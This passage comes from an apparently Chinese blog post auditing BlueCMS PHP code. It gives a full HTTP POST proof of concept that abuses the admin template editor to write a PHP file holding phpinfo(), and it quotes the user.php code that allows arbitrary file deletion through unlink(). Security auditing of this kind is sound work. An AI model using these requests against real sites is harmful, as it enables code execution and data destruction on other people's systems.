/><p>直接构造一个post请求修改一个不存在的文件,这样将会创建一个文件并写入,poc如下:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/admin/tpl_manage.php</span> <span class="hljs-meta">HTTP/1.1</span><br><span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>bluecms.test:8888<br><span class="hljs-attribute">User-Agent</span><span class="hljs-punctuation">: </span>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0<br><span class="hljs-attribute">Accept</span><span class="hljs-punctuation">: </span>text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br><span class="hljs-attribute">Accept-Language</span><span class="hljs-punctuation">: </span>zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2<br><span class="hljs-attribute">Accept-Encoding</span><span class="hljs-punctuation">: </span>gzip, deflate<br><span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-www-form-urlencoded<br><span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>59<br><span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>http://bluecms.test:8888<br><span class="hljs-attribute">Connection</span><span class="hljs-punctuation">: </span>close<br><span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>http://bluecms.test:8888/admin/tpl_manage.php?act=edit&tpl_name=news_info.htm<br><span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>PHPSESSID=bb499d4e1bddb4c5b2c6cd16c39e5c77<br><span class="hljs-attribute">Upgrade-Insecure-Requests</span><span class="hljs-punctuation">: </span>1<br><br><span class="php">tpl_content=<span class="hljs-meta"><?php</span> phpinfo();<span class="hljs-meta">?></span>&tpl_name=php.php&act=do_edit</span><br></code></pre></td></tr></table></figure><p>效果:</p><img src="img/blueCMS/image-20210809180812158.png" alt="image-20210809180812158" style="zoom:50%;" /><h2 id="任意文件删除"><a href="#任意文件删除" class="headerlink" title="任意文件删除"></a>任意文件删除</h2><blockquote><p>user.php</p></blockquote><p>$id 可控,直接传入unlink()会可造成任意文件删除漏洞。不过在unlink()操作前会执行一条sql语句,BlueCMS 初始数据库是没有company_image表的,导致数据库报错是执行不到unlink()操作的</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">elseif</span> (<span class="hljs-variable">$act</span> == <span class="hljs-string">'del_pic'</span>) {<br> <span class="hljs-variable">$id</span> = <span class="hljs-variable">$_REQUEST</span>[<span class="hljs-string">'id'</span>];<br> <span class="hljs-variable">$db</span>->query(<span class="hljs-string">"DELETE FROM "</span> . table(<span class="hljs-string">'company_image'</span>) . <span class="hljs-string">" WHERE path='<span class="hljs-subst">$id</span>'"</span>);<br> <span class="hljs-keyword">if</span> (file_exists(BLUE_ROOT . <span class="hljs-variable">$id</span>)) {<br> @unlink(BLUE_ROOT . <span class="hljs-variable">$id</span>);<br> }<br></code></pre></td></tr></table></figure><h1 id="0x04-总结"><a href="#0x04-总结" class="headerlink" title="0x04 总结"></a>0x04 总结</h1><p>BlueCMS 总体代码比较简单,出现的漏洞也比较典型,没有什么特别之处。另外本文并没有针对 XSS 漏洞做审计,对于这种简单的系统使用黑盒测试的方法似乎要更快一点。</p><p>参考:<a href="https://xz.aliyun.com/t/7074">https://xz.aliyun.com/t/7074</a></p>]]></content>
<categories>
<category>php代码审计</category>
</categories>
<tags>
<tag>PHP</tag>
<tag>代码审计</tag>
</tags>
</entry>
</search>